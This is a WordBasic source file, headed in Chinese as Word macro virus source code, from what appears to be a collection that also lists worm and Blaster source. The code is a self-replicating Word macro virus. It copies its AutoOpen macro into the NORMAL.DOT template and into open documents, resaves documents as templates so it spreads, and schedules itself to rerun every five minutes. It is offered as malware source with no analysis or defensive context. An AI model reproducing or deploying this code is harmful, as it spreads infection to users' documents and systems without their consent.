setmode word宏病毒源码.txt

病毒源码 包括世上第一个病毒源码、蠕虫源码、冲击波源码

Sub MAIN 

' set document mode 
Dim dlg As FileSaveAs 
MyFile$ = FileName$() 
If　InStr(1, MyFile$, "文档") = 1 Then 
　　　　x = Dialog(dlg) 
　　　　MyFile$ = dlg.Name 
'　　　 MsgBox MyFile$, Str$(dlg.AddToMru), 64 
Else 
'　　　 dlg.Format = 0 
　　　　GetCurValues dlg 
　　　　MyFile$ = dlg.Name 
'　　　 MsgBox MyFile$, Str$(dlg.AddToMru), 64 
End If 

' if it is Macro Document, then goto bye2 
If IsMacro(0) = - 1 Then Goto Bye2 

' if Document is new, then goto Bye1 
If MyFile$ = "" Then Goto Bye1 

' Save file as template 
If dlg.Format = 0 Then 
　　　　FileSaveAs .Name = MyFile$, .Format = 1, .LockAnnot = 0, .Password = "", 
.AddToMru = 1, .WritePassword = "", .RecommendReadOnly = 0, .EmbedFonts = 0, 
.NativePictureFormat = 0, .FormsData = 0, .SaveAsAOCELetter = 0 
Else 
　　　　FileSave 
End If 

' search macro AutoOpen in Normal template 
normal = CountMacros(0) 
OkExist = 0 
For i = 1 To normal 
　　　　If MacroName$(i, 0) = "AutoOpen" Then OkExist = 1 
Next i 

' Get normal template name 
TemplateName$ = DefaultDir$(2) + "\NORMAL.DOT" 
'MsgBox TemplateName$, "", 64 

' copy AutoOpen to normal template 
If OkExist <> 1 Then 
　　　　Organizer .Copy, .Source = MyFile$, .Destination = TemplateName$, .Name = 
"AutoOpen", .Tab = 3 
'　　　 Organizer .Copy, .Source = MyFile$, .Destination = TemplateName$, .Name = 
"SaveDoc", .Tab = 3 
　　　　FileSaveAs .Name = TemplateName$, .Format = 1, .LockAnnot = 0, .Password = 
"", .AddToMru = 0, .WritePassword = "", .RecommendReadOnly = 0, .EmbedFonts = 0, 
.NativePictureFormat = 0, .FormsData = 0, .SaveAsAOCELetter = 0 
End If 

' search macro AutoOpen in active document　
active = CountMacros(1) 
OkExist = 0 
For i = 1 To active 
　　　　If MacroName$(i, 1) = "AutoOpen" Then OkExist = 1 
Next i 

' copy AutoOpen to active template 
If OkExist <> 1 Then 
　　　　Organizer .Copy, .Source = TemplateName$, .Destination = MyFile$, .Name = 
"AutoOpen", .Tab = 3 
'　　　 Organizer .Copy, .Source = TemplateName$, .Destination = MyFile$, .Name = 
"SaveDoc", .Tab = 3 
　　　　FileSave 
End If 

Bye1: 

' set document mode 
dlg.Format = 0 

Bye2: 

' set timer to run AutoOpen again 
internal = 5 / 24 / 60' internal time is 5 minutes 
alarmtime = TimeValue(Time$()) + internal 
alarm$ = Time$(alarmtime) 
OnTime alarm$, "AutoOpen"